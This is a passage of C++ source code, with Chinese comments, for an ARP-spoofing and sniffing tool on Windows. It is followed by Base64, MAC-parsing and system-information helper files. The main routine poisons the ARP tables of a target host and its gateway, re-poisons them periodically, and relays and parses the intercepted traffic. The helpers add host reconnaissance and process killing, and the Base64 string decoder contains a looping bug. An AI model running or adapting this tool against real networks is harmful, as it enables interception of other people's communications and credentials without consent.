		if(strcmp(argv[i],"-g")==0) AllIpMacTable.gateway.Ip.Format("%s",argv[++i]);
		if(strcmp(argv[i],"-c")==0)
		{
			AllIpMacTable.cheatsrc.Ip.Format("%s",argv[++i]);
			AllIpMacTable.cheatsrc.Mac.Format("%s",argv[++i]);
		}
		if(strcmp(argv[i],"-time")==0) CheatTime=atoi(argv[++i]);     
	}

	//打印作者信息
	printf("\r\n======================================================\r\n\r\nArp Cheat And Sniffer V2.1\r\npowered by shadow @2005/6/15\r\nmy web:http://www.codehome.6600.0rg\r\n");
	printf("\r\n======================================================\r\n\r\n");
	
	//选择网卡
	printf("+Choose a method to get adapter list:\r\n->0.Get By Winpcap Driver!\r\n->1.Get By IpHelpAPI (Can use this in 2003)!\r\nPlease input your choose num:");
	if(!AutoStart) scanf("%d",&choosetype);
	
	printf("\r\n+Adapater List:\r\n");
	switch(choosetype)
	{
	case 0:
		adaptercount=GetAdapterList();
		break;
	case 1:
		adaptercount=GetAdapterListFromIpHelp();
		break;
	default:
		printf("\r\nWhat you mean?you can't choose that!Oh,god :)\r\n");
		return 0;
	}
	if(adaptercount<=0)
	{
		printf("Get adapter list error!\r\n");
		getch();
		return 0;
	}
	int j;
	printf("\r\n----------------------------------------------------\r\n");
	for(j=0; j<adaptercount; j++)
	{
		if(choosetype == 0) 
			//wprintf(L"%d:%s\r\n",j,AdapterList[j]);
			printf("%d:%s\r\n",j,AdapterList[j]);
		else 
			printf("%d:%s\r\n",j,MyAdapterList[j].szDeviceName);
	}

	Sleep(1000);

	//数据包
	LPPACKET lpPacket,lpPacket_Cheat;
	//选中的网卡
	LPADAPTER lpAdapter;			
	struct bpf_stat stat;
	if(!AutoStart)
	{
		while(true)
		{
			printf("\r\nPlease choose a adapter with num:");
			scanf("%d",&index);
			if(index>=0 && index<adaptercount) break;
		}
	}
	printf("\r\n");

	//打开网卡
	if(choosetype==0) 
		lpAdapter = (LPADAPTER)PacketOpenAdapter(AdapterList[index]);
	else 
		lpAdapter = (LPADAPTER)PacketOpenAdapter(MyAdapterList[index].szDeviceName);
	
	//打开网卡失败
	int dwErrorCode;
	if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
	{
		dwErrorCode = GetLastError();
		printf("Unable to open the adapter, Error Code : %lx\n",dwErrorCode); 

		return -1;
	}

	//分配地址空间
	lpPacket = PacketAllocatePacket();
	if(lpPacket == NULL)
	{
		printf("\nError: failed to allocate the LPPACKET structure.");
		return (-1);
	}

	//分配地址空间
	lpPacket_Cheat = PacketAllocatePacket();
	if(lpPacket_Cheat == NULL)
	{
		printf("\nError: failed to allocate the LPPACKET structure cheat.");
		return (-1);
	}

	//只进行欺骗
	//使用例子  arpsniffer -onlycheat -t 192.168.0.180 -c 192.168.0.9 002211445544
	if(RunType == ONLY_CHEAT)

	{
		AllIpMacTable.realcheatsrc.Ip = AllIpMacTable.cheatsrc.Ip;
		if(!SetIpMacInfo(AllIpMacTable.realcheatsrc.Ip, &(AllIpMacTable.realcheatsrc)))
		{
			printf("Err:获取欺骗源真实的mac地址失败!\r\n");
			return 0;
		}
		else 
			printf("+OK:获取获取欺骗源真实mac地址成功!\r\n");

		if(!SetIpMacInfo(AllIpMacTable.cheattag.Ip, &(AllIpMacTable.cheattag)))
		{
			printf("Err:获取目标mac地址失败!\r\n");
			return 0;
		}
		else 
			printf("+OK:获取目标mac地址成功!\r\n");

		//打印欺骗配置信息
		printf("\r\n欺骗源ip: %s\t\t欺骗源mac: %s", AllIpMacTable.cheatsrc.Ip, AllIpMacTable.cheatsrc.Mac);
		printf("\r\n受骗主机: %s\t\t受骗的mac: %s\r\n\r\n", AllIpMacTable.cheattag.Ip, AllIpMacTable.cheattag.Mac);
		printf("-->开始欺骗主机...\r\n");

		CheatTime = SendArpPacket(CheatTime, lpAdapter, lpPacket, &(AllIpMacTable.cheattag), &(AllIpMacTable.cheatsrc));
		printf("\n发送 %d 个arp包完成\r\n--Done 欺骗完成!\r\n", CheatTime);
		
		//自动恢复
		if(ReSet == 1)
		{
			SendArpPacket(2, lpAdapter, lpPacket, &(AllIpMacTable.cheattag), &(AllIpMacTable.realcheatsrc));
			printf("<--恢复欺骗完成!\r\n");
		}   
		return 0;
	}

	//欺骗和嗅探
	//  arpsniffer -sniffall -di 192.168.0.180
	if(RunType == CHEAT_AND_SNIFF)
	{
		sniffuserinfo.sourceip = AllIpMacTable.cheattag.Ip;
		ShowUserDefine();

		//欺骗目标
		if(!SetIpMacInfo(AllIpMacTable.cheattag.Ip, &(AllIpMacTable.cheattag)))
		{
			printf("Err:获取目标mac地址失败!\r\n");
			return 0;
		}
		else
		{
			printf("+OK:获取目标mac地址成功!\r\n");
		}

		//设置网关
		if(!SetIpMacInfo(AllIpMacTable.gateway.Ip, &(AllIpMacTable.gateway)))
		{
			printf("Err:获取网关mac地址失败!\r\n");
			return 0;
		}   
		else
		{
			printf("+OK:获取网关mac地址成功!\r\n");		 
		}

		//自己的IP-MAC
		if(!SetIpMacInfo(AllIpMacTable.my.Ip, &(AllIpMacTable.my)))
		{
			printf("Err:获取自身mac地址失败!\r\n");
			return 0;
		} 
		else
		{
			printf("+OK:获取自身mac地址成功!\r\n");
		}

		//设置网卡地址
		GetMacAddr(AllIpMacTable.my.Mac, MyMac);
		GetMacAddr(AllIpMacTable.gateway.Mac, GateMac);
		GetMacAddr(AllIpMacTable.cheattag.Mac, TagMac); 

		//静态绑定欺骗目标和网关的MAC
		printf("\r\nTry to set static ip mac table...\r\n");
		if(SetStaticIpMac(AllIpMacTable.cheattag.Ip, AllIpMacTable.cheattag.Mac, AllIpMacTable.gateway.Ip, AllIpMacTable.gateway.Mac))
		{
			printf("\r\n+Ok\r\n");
		}
		else
		{
			printf("\r\n+Falied\r\n");
			return 0;
		}

		//下面5行代码的解释:告诉欺骗目标,网关的IP是我的MAC   --- 目的:截获受骗者发给网关的数据
		AllIpMacTable.cheatsrc.Ip=AllIpMacTable.gateway.Ip;
		AllIpMacTable.cheatsrc.Mac=AllIpMacTable.my.Mac;
		printf("\r\n-->开始欺骗第一个目标主机...\r\n欺骗源ip: %s\t\t欺骗源mac: %s", AllIpMacTable.cheatsrc.Ip, AllIpMacTable.cheatsrc.Mac);
		printf("\r\n受骗主机: %s\t\t受骗的mac: %s\r\n", AllIpMacTable.cheattag.Ip, AllIpMacTable.cheattag.Mac);
		SendArpPacket(3, lpAdapter,lpPacket, &(AllIpMacTable.cheattag), &(AllIpMacTable.cheatsrc));
		
		//-w  嗅探方式,1代表单向嗅探[si->di],0代表双向嗅探[si<->di]
		if(sniffuserinfo.Way == 0)
		{
			//下面5行代码的解释:告诉网关,受骗者的IP是我的MAC   --- 目的:截获网关发给受骗者的数据
			AllIpMacTable.cheatsrc.Ip=AllIpMacTable.cheattag.Ip;
			AllIpMacTable.cheatsrc.Mac=AllIpMacTable.my.Mac;
			printf("\r\n-->开始欺骗第二个目标主机...\r\n欺骗源ip: %s\t\t欺骗源mac: %s", AllIpMacTable.cheatsrc.Ip, AllIpMacTable.cheatsrc.Mac);
			printf("\r\n受骗主机: %s\t\t受骗的mac: %s\r\n",AllIpMacTable.gateway.Ip, AllIpMacTable.gateway.Mac);
			SendArpPacket(3,lpAdapter,lpPacket, &(AllIpMacTable.gateway), &(AllIpMacTable.cheatsrc));

			printf("\r\n<--双向欺骗完成\r\n\r\n+Cheat ok,start sniff...\nPress any key to stop :)\n");
		}
		else
		{
			printf("\r\n<--单向欺骗完成\r\n\r\n+Cheat ok,start sniff...\nPress any key to stop :)\n");	
		}
	}

	if(RunType == CHEAT_AND_SNIFF)
	{ 
		//欺骗模式下 ,设置非混杂模式,减少工作量
		if(PacketSetHwFilter(lpAdapter,NDIS_PACKET_TYPE_DIRECTED) == FALSE)
		{
			printf("Warning: unable to set directed mode!\n");
		}
	}
	else
	{
		//非欺骗模式下混杂模式
		if(PacketSetHwFilter(lpAdapter,NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE)
		{
			printf("Warning: unable to set promiscuous mode!\n");
		}
	}

	//设置捕获的内核级缓冲区的大小
	if(PacketSetBuff(lpAdapter,512000) == FALSE)
	{
		printf("Unable to set the kernel buffer!\n");
		return -1;
	}

	//设置一次读操作返回的超时时间
	if(PacketSetReadTimeout(lpAdapter,50) == FALSE)
	{
		printf("Warning: unable to set the read tiemout!\n");
	}
	if(PacketSetNumWrites(lpAdapter,1) == FALSE)
	{
		printf("warning: Unable to send more than one packet in a single write!\n");
		return 0;
	}

	//初始化一个_PACKET结构,即将packet结构中的buffer设置为传递的buffer指针
	char buffer[256000];
	PacketInitPacket(lpPacket,buffer,256000);	

	//非rawsniffer方式启动初始化
	//rsniffer.Start(1);

	StartTime = LastSendTime = GetCurrentTimeSeconds();
	//kbhit函数:检查当前是否有键盘输入,若有则返回一个非0值,否则返回0
	while(! kbhit())
	{
		//接收原始数据包
		if(PacketReceivePacket(lpAdapter, lpPacket, FALSE) == FALSE)
		{
			printf("Error: PacketReceivePacket failed");
			return (-1);
		}
		ulBytesReceived = lpPacket->ulBytesReceived;

		char *buf = (char *)lpPacket->Buffer;
		u_int off = 0;
		if(off < ulBytesReceived)
		{
			hdr = (struct bpf_hdr *)(buf + off);
			u_int tlen1 = hdr->bh_datalen;
			off += hdr->bh_hdrlen;
			char *pChar = (char*)(buf+off);

			char *base = pChar;
			if(RunType == CHEAT_AND_SNIFF)
			{
				int recvMillSecond = GetCurrentTimeSeconds() - LastSendTime;
				//进行再欺骗
				if(recvMillSecond >= CHEAT_SEND_TIME)
				{
					AllIpMacTable.cheatsrc.Ip = AllIpMacTable.gateway.Ip;
					AllIpMacTable.cheatsrc.Mac = AllIpMacTable.my.Mac;
					SendArpPacket(1, lpAdapter, lpPacket_Cheat, &(AllIpMacTable.cheattag), &(AllIpMacTable.cheatsrc));
					
					//双向欺骗
					if(sniffuserinfo.Way == 0)
					{
						AllIpMacTable.cheatsrc.Ip = AllIpMacTable.cheattag.Ip;
						AllIpMacTable.cheatsrc.Mac = AllIpMacTable.my.Mac;
						SendArpPacket(1,lpAdapter, lpPacket_Cheat, &(AllIpMacTable.gateway), &(AllIpMacTable.cheatsrc));
					}
					LastSendTime=GetCurrentTimeSeconds();
				}

				//分析数据包类型
				int type = IsInvalidPacket(base);
				if(type == 0)	//数据包是本地发出去的
					continue;
				else if(type == 1) 
					memcpy(base, GateMac, 6);
				else 
					memcpy(base, TagMac, 6);
				memcpy(base+6, MyMac, 6);

				//如果数据包是因欺骗二获得到的,需要抓法该数据包,否则将会导致原链接失去连接
				LPPACKET lpPacket_Send = PacketAllocatePacket();
				if(lpPacket_Send == NULL)
				{
					printf("\nError: failed to allocate the LPPACKET structure send.");
					return (-1);
				}
				PacketInitPacket(lpPacket_Send, base, tlen1);
				PacketSendPacket(lpAdapter, lpPacket_Send, TRUE);

				//解析嗅探到的信息
				rsniffer.AnalysePacket(base + 14);
			}
			else
			{
				//解析本地嗅探到的信息
				rsniffer.AnalysePacket(base+14);
			}
		}
	}
	EndTime = GetCurrentTimeSeconds();

	//恢复正常网络通信
	if(RunType == CHEAT_AND_SNIFF)
	{
		SendArpPacket(1, lpAdapter, lpPacket, &(AllIpMacTable.cheattag), &(AllIpMacTable.gateway));
		SendArpPacket(1, lpAdapter, lpPacket, &(AllIpMacTable.gateway), &(AllIpMacTable.cheattag));
		printf("\r\n+reset ok,cheat and sniff stoped ...\r\n");
	}
	printf("\r\n+Sniff Done OK :)\r\n");

	//打印抓包状态
	if(PacketGetStats(lpAdapter, &stat) == FALSE)
	{
		printf("Warning: unable to get stats from the kernel!\n");
	}
	else
	{
		printf("%d packets received.\n", stat.bs_recv);
		printf("%d Packets lost.\n", stat.bs_drop);
		printf("%d Packets no check.\n", LostPacket);
		printf("%d Packets/Sec Take %ld Seconds\n", stat.bs_recv/(EndTime-StartTime), EndTime-StartTime);
	}

	//释放资源
	PacketFreePacket(lpPacket);
	//关闭网卡
	PacketCloseAdapter(lpAdapter);

	return 0;
}

BASE641.h

/*==========================================================================
   ASCII---->base64 source code
       powered by shadow
        @2004.10.4 01:01
web:http://www.codehome.6600.org
info:
     sperated by 6 bits:
-----Base64 code table:
-----0-25--> 'A"-'Z'   26-51-->'a'-'z'   52-61-->'0'-'9' 62-->'+'  63-->'/'
============================================================================*/

#if !defined(AFX_BASE641_H__11427255_4FE0_4D28_9AF5_70A5F8701068__INCLUDED_)
#define AFX_BASE641_H__11427255_4FE0_4D28_9AF5_70A5F8701068__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#define MaxLen 741
#define DeMaxLen 1014
class BASE64  
{
public:
	int FileDecode(char * fromfile,char * tofile);
	char * StringDecode(unsigned char *p);
	void Reset();
	char * GetLastError();
	int FileEncode(char *fromfile,char *tofile);
	char * StringEncode(unsigned char *p);
	BASE64();
	virtual ~BASE64();

private:
	void decode_2();
	void decode_4();
	void decode_3();
	void file_decode(FILE *fp);
	//
	void file_encode(FILE *fp);
	void encode_3();
	void encode_2();
	void encode_1();
	void put(unsigned char ch);
	FILE * fp_in;
	FILE * fp_out;
	bool StrEncode;
	bool StrDecode;
	unsigned char code[3];
	unsigned char decode[5];
    int length;
	char *base64_str;
	char Base64Str[1015];
	int errorcode;
    char *Base64Error[3];
};

#endif // !defined(AFX_BASE641_H__11427255_4FE0_4D28_9AF5_70A5F8701068__INCLUDED_)

BASE641.cpp

/*==========================================================================
ASCII---->base64 source code
powered by shadow
@2004.10.4 01:01
web:http://www.codehome.6600.org
info:
sperated by 6 bits:
-----Base64 code table:
-----0-25--> 'A"-'Z'   26-51-->'a'-'z'   52-61-->'0'-'9' 62-->'+'  63-->'/'
============================================================================*/

#include "stdafx.h"
#include "BASE641.h"
#pragma warning(disable:4996)

BASE64::BASE64()
{
	length=0;
	StrEncode=false;
	StrDecode=false;
	memset(Base64Str,0,1015);
	base64_str=Base64Str;
	fp_in=NULL;
	fp_out=NULL;
	Base64Error[0]="Encode Success!";
	Base64Error[1]="String too long!";
	Base64Error[2]="Open file failed!";
	//MessageBox(NULL,"com","com",MB_OK);
}

BASE64::~BASE64()
{

}

void BASE64::put(unsigned char ch)
{
	if(ch>=0&&ch<=25) ch+=65;
	else if(ch>=26&&ch<=51) ch+=71;
	else if(ch>=52&&ch<=61) ch-=4;
	else if(ch==62) ch='+';
	else ch='/';
	if(fp_out!=NULL)
		fputc(ch,fp_out);
	//printf("%c",ch);
	if(StrEncode) *(base64_str++)=ch;
	length++;
	if(length%76==0)
	{
		length=0;
		if(fp_out!=NULL) fputs("\r\n",fp_out);
		if(StrEncode)
		{
			*(base64_str++)='\r';
			*(base64_str++)='\n';
		}
	}
}

void BASE64::encode_1()
{
	int i;
	unsigned char ch;
	ch=code[0]>>2;
	put(ch);
	ch=(code[0]<<4)&63;
	put(ch);
	for(i=0;i<2;i++)
	{
		if(fp_out!=NULL) fputc('=',fp_out);
		//printf("=");
		if(StrEncode) *(base64_str++)='=';
		length++;
		if(length%76==0)
		{
			length=0;
			if(fp_out!=NULL) fputs("\r\n",fp_out);
			if(StrEncode)
			{
				*(base64_str++)='\r';
				*(base64_str++)='\n';
			}
		}
	}
}

void BASE64::encode_2()
{
	unsigned char ch;
	ch=code[0]>>2;
	put(ch);
	ch=(code[0]<<4|code[1]>>4)&63;
	put(ch);
	ch=(code[1]<<2)&63;
	put(ch);
	if(fp_out!=NULL) fputc('=',fp_out);
	//printf("=");
	if(StrEncode) *(base64_str++)='=';
	length++;
	if(length%76==0)
	{
		length=0;
		if(fp_out!=NULL) fputs("\r\n",fp_out);
		if(StrEncode)
		{
			*(base64_str++)='\r';
			*(base64_str++)='\n';
		}
	}
}

void BASE64::encode_3()
{
	unsigned char ch;
	ch=code[0]>>2;
	put(ch);
	ch=(code[0]<<4|code[1]>>4)&63;
	put(ch);
	ch=(code[1]<<2|code[2]>>6)&63;
	put(ch);
	ch=code[2]&63;
	put(ch);
}

void BASE64::file_encode(FILE *fp)
{
	int  i=0;
	while(!feof(fp))
	{
		code[i]=fgetc(fp);
		if(code[i]==255&&feof(fp)) ; /*如果把文件的结尾标志-1读出来,即无符号就是255,那就不算,如果不是在文件尾就算,主要考虑到exe文件情况*/
		else i++;
		if(i==3) 
		{
			encode_3();i=0;
		}
	}
	switch(i)
	{
	case 1:encode_1();break;
	case 2:encode_2();break;
	default:break;
	}
}

char * BASE64::StringEncode(unsigned char *p)
{
	char *base64strcopy = new char[1015];
	ZeroMemory(base64strcopy, 1015);

	if(strlen((char *)p)>MaxLen)
	{
		errorcode=1;
		return NULL;
	}   
	int i=0;
	StrEncode=true;
	if(StrEncode)
	{
		while(*p)
		{
			code[i]=*p;
			i++;
			p++;
			if(i==3) 
			{
				encode_3();
				i=0;
			}
		}
		switch(i)
		{
		case 1:encode_1();break;
		case 2:encode_2();break;
		default:break;
		}
	}
	errorcode=0;	 
	memset(base64strcopy,0,1015);
	strcpy(base64strcopy,Base64Str);
	//	 MessageBox(NULL,base64strcopy,"strong",MB_OK);
	Reset();
	return base64strcopy;
}

int BASE64::FileEncode(char *fromfile,char *tofile)
{
	fp_in=fopen(fromfile,"rb");
	fp_out=fopen(tofile,"wb+");
	if(fp_in==NULL||fp_out==NULL)
	{
		errorcode=2;
		return errorcode;

	}
	file_encode(fp_in);
	errorcode=0;
	fclose(fp_in);
	fclose(fp_out);
	Reset();
	return errorcode;
}

char * BASE64::GetLastError()
{
	return Base64Error[errorcode];
}


void BASE64::Reset()
{
	length=0;
	StrEncode=false;
	StrDecode=false;
	memset(Base64Str,0,1015);
	base64_str=Base64Str;
}
//next is base64 decode
void BASE64::decode_2()
{
	unsigned char ch;
	ch=(decode[1]<<2)|(decode[2]>>4);
	if(fp_out!=NULL) fputc(ch,fp_out);
	//printf("%c",ch);
	if(StrDecode) *(base64_str++)=ch;
}

void BASE64::decode_3()
{
	unsigned char ch;
	ch=(decode[1]<<2)|(decode[2]>>4);
	if(fp_out!=NULL) fputc(ch,fp_out);
	//printf("%c",ch);
	if(StrDecode) *(base64_str++)=ch;
	ch=(decode[2]<<4)|(decode[3]>>2);
	if(fp_out!=NULL) fputc(ch,fp_out);
	//printf("%c",ch);
	if(StrDecode) *(base64_str++)=ch;
}

void BASE64::decode_4()
{
	unsigned char ch;
	ch=(decode[1]<<2)|(decode[2]>>4);
	if(fp_out!=NULL) fputc(ch,fp_out);
	//printf("%c",ch);
	if(StrDecode) *(base64_str++)=ch;
	ch=(decode[2]<<4)|(decode[3]>>2);
	if(fp_out!=NULL) fputc(ch,fp_out);
	//printf("%c",ch);
	if(StrDecode) *(base64_str++)=ch;
	ch=(decode[3]<<6)|decode[4];
	if(fp_out!=NULL) fputc(ch,fp_out);
	//printf("%c",ch);
	if(StrDecode) *(base64_str++)=ch;
}

void BASE64::file_decode(FILE *fp)
{
	int i=1,j=0;
	while(!feof(fp))
	{
		decode[i]=fgetc(fp);
		if(decode[i]==255&&feof(fp)) ; /*如果把文件的结尾标志-1读出来,即无符号就是255,那就不算,如果不是在文件尾就算,主要考虑到exe文件情况*/
		else
		{
			if(decode[i]>=65&&decode[i]<=90) {decode[i]-=65;j++;}
			else if(decode[i]>=97&&decode[i]<=122) {decode[i]-=71;j++;}
			else if(decode[i]>=48&&decode[i]<=57) {decode[i]+=4;j++;}
			else if(decode[i]=='+') {decode[i]=62;j++;}
			else if(decode[i]=='/') {decode[i]=63;j++;}
			else ;
			i++;
			length++;
			if(length%76==0) fseek(fp,2L,1);
		}
		if(j==4) {decode_4();i=1;j=0;}
	}
	switch(j)
	{
		case 2:decode_2();break;
		case 3:decode_3();break;
		default:break;
	}
}

char * BASE64::StringDecode(unsigned char *p)
{
	if(strlen((char *)p)>DeMaxLen)
	{
		errorcode=1;
		return NULL;
	}
	int i=1,j=0;
	StrDecode=true;
	if(StrDecode)
	{
		while(*p)
		{
			if(*p=='\r'||*p=='\n') continue;
			decode[i]=*p;
			if(decode[i]>=65&&decode[i]<=90) {decode[i]-=65;j++;}
			else if(decode[i]>=97&&decode[i]<=122) {decode[i]-=71;j++;}
			else if(decode[i]>=48&&decode[i]<=57) {decode[i]+=4;j++;}
			else if(decode[i]=='+') {decode[i]=62;j++;}
			else if(decode[i]=='/') {decode[i]=63;j++;}
			p++;i++;
			if(j==4) {decode_4();i=1;j=0;}
		}
		switch(j)
		{
		case 2:decode_2();break;
		case 3:decode_3();break;
		default:break;
		}
	}
	errorcode=0;
	char *debase64str = new char[1015];
	strcpy(debase64str,Base64Str);
	Reset();
	return debase64str;
}

int BASE64::FileDecode(char *fromfile, char *tofile)
{
	fp_in=fopen(fromfile,"rb");
	fp_out=fopen(tofile,"wb+");
	if(fp_in==NULL||fp_out==NULL)
	{
		errorcode=2;
		return errorcode;
	}
	file_decode(fp_in);
	errorcode=0;
	fclose(fp_in);
	fclose(fp_out);
	Reset();
	return errorcode;
}

mac.h

#ifndef _MAC_H_
#define _MAC_H_

//#include <windows.h>

int StringToInt(char* String);
bool GetMacAddr(CString Mac, char* MacAddr);

#endif

mac.cpp

#include "stdafx.h"
#include "Mac.h"
#include <windows.h>
//#include "stdlib.h"

USHORT CT[256]=
{
	0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
	0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
	0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
	0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
	0xFF, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
	0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
	0xFF, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
	0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
	0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
	0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
	0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
	0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
	0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
	0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
	0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
	0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
};

int StringToInt(char* String)
{
	int nRetCode;

	nRetCode = CT[*String];
	nRetCode = (nRetCode * 16) + CT[*(String + 1)];
	return nRetCode;
}

//把MAC地址从CString格式转化为char格式
bool GetMacAddr(CString Mac, char* MacAddr)
{
	int i;
	char szTemp[2];
	char *szMacAddr_String;
	char pmac[13];
	pmac[12]='\0';
	wsprintf(pmac,"%s",Mac);
    szMacAddr_String=pmac;
	for (i = 0; i < 6; i++)
	{
		//szTemp = {0};
		szTemp[0] = *(szMacAddr_String + (2 * i));
		szTemp[1] = *(szMacAddr_String + (2 * i) + 1);
		*(MacAddr + i) = StringToInt(szTemp);
		if (*(MacAddr + i) > 0xFF)
			return false;
	}
	return true;
}

PcInfor.h

/*====================================================================
filename:PcInfor.h
Use:the header file for define the class PcInfor 
powered by shadow @2004/10/20
my web:http://www.codehome.6600.org
======================================================================*/
#include <winsock2.h>
//#include <ws2tcpip.h>
#include <tlhelp32.h>
#include <io.h>

//系统信息
typedef struct _SYSINFO
{
    CString IP;
    CString ComputerName;
	CString CurrentUserName;
    CString CpuNumbers;
	CString CpuVersion;
	CString CpuType;
	CString CpuStruct;
	CString DisplayMode;
	CString ColorDisplay;
	CString OSName;
	CString OSMajorVersion;
	CString OSMinorVersion;
	CString TotalPhyMemory;
	CString AvailPhyMemory;
	CString TotalVirtualMemory;
	CString AvailVirtualMemory;
	CString UseedMemory;
    CString CurrentDirectory;
	CString SystemDirectory;
	CString TempDirectory;
	CString WinDirectory;
}SYSTEMINFO;

//驱动信息
typedef struct _DRIVERINFO
{
    CString DriverName;
    CString DriverVolInfo;
	CString DriverSerialNum;
	CString DriverFileSystemFlag;
	CString DriverFileSystem;
    CString ErrorString;
	CString DriverTotalSize;
	CString DriverAvailSize;
	CString DriverUseedSize;
	_DRIVERINFO *Next;
}DRIVERINFO;

//进程信息
typedef struct _PROCESSINFO
{
    CString ProcessName;
	DWORD   ProcessId;
	DWORD   ParentProcessId;
}PROCESSINFO;

//端口--进程信息
typedef struct _PORTTOPROCESS
{
    CString Port;
	CString Protocol;
	CString Pid;
	CString ProcName;
	CString ProcPath;
}PORTTOPROCESS;

//本地计算机信息
class PcInfor  
{
public:
	PcInfor();
	virtual ~PcInfor();

public:
	int				 ErrorCode;
	DRIVERINFO		 DriverInfo[26];
	PROCESSINFO		 ProcessInfo[100];			//进程信息
	PORTTOPROCESS	 PortToProcess[100];
	SYSTEMINFO		 SystemInfo;

public:
	void GetLocalIp();
	void WriteProcinfo();
	void DeleteTempFile();
	void GetPortToProcessInfo();
	void GetProcPath();
	void FindProcPath();
	void FindProcName();
	bool InsertPortList(CString port,CString pid,CString type);
	int GetListenPort();
	void BornUdpListen();
	void BornTcpListen();
	int KillProcByName(char *exename);
	int GetPsList();

	int DriverNum,ProcessNum,PortNum;
	char * PcInfoError[10];
	char * GetLastError(int errorcode);
	char * GetLastError();

	int GetPcInfo();
	int GetDriverInfo();
	int GetPcSystemInfo();
	int KillProc(DWORD pid);


private:
    int SetPrivilege(HANDLE token_hdl,LPCTSTR lp_privilege);

};

PcInfor.cpp

/*====================================================================
filename:PcInfor.cpp
Use:get PcInfor 
powered by shadow @2004/10/20
my web:http://www.codehome.6600.org
======================================================================*/
#include "stdafx.h"
#include "PcInfor.h"
#pragma comment(lib,"ws2_32.lib")
#pragma warning(disable:4996)

PcInfor::PcInfor()
{
	GetPcInfo();
}

PcInfor::~PcInfor()
{
}

int PcInfor::GetPcSystemInfo()
{
	int errorcode;
	DWORD len=MAX_COMPUTERNAME_LENGTH+1;

	//IP信息
	SystemInfo.IP.Format("%s","IP not get!");

	//获取用户名
	char UserName[MAX_COMPUTERNAME_LENGTH+1];
	if(!GetUserName(UserName,&len))
	{
		errorcode=1;
		SystemInfo.CurrentUserName="get user name error";
	}
	else 
		SystemInfo.CurrentUserName.Format("%s",UserName);

	//获取计算机名字
	char PcName[MAX_COMPUTERNAME_LENGTH+1];
	if(!GetComputerName(PcName,&len))
	{
		errorcode=2;
		SystemInfo.ComputerName="get computer name error";
	}
	else 
		SystemInfo.ComputerName.Format("%s",PcName);

	//获得CPU信息
	SYSTEM_INFO system_info;
	GetSystemInfo(&system_info);
	SystemInfo.CpuNumbers.Format("%d",system_info.dwNumberOfProcessors);
	SystemInfo.CpuVersion.Format("%d",system_info.wProcessorRevision);
	SystemInfo.CpuStruct.Format("%d",system_info.wProcessorLevel);
	switch(system_info.dwProcessorType)
	{
	case PROCESSOR_INTEL_386:
		SystemInfo.CpuType="intel 80386";
		break;
	case PROCESSOR_INTEL_486:
		SystemInfo.CpuType="intel 80486";
		break;
	case PROCESSOR_INTEL_PENTIUM:
		SystemInfo.CpuType="Pentium";
		break;
	case 6:
		SystemInfo.CpuType="prn pro";
		break;
	case 7:
		SystemInfo.CpuType="pen III";
		break;
	case 8:
		SystemInfo.CpuType="pen IV";
		break;
	case PROCESSOR_MIPS_R4000:
		SystemInfo.CpuType="Mips R4000";
		break;
		// case PROCESSOR_ALPHA_21046:
		//      SystemInfo.CpuType="Alpha 21046";
		//      break;
	default:
		SystemInfo.CpuType="unknow";
		break;
	}

	//获取显卡信息
	DEVMODE devmode;
	int i=0;
	while(EnumDisplaySettings(NULL,i,&devmode)) i++;
	SystemInfo.DisplayMode.Format("%d*%d",devmode.dmPelsWidth,devmode.dmPelsHeight);
	SystemInfo.ColorDisplay.Format("%d",devmode.dmBitsPerPel);
	
	//操作系统信息
	OSVERSIONINFO osversion;
	osversion.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
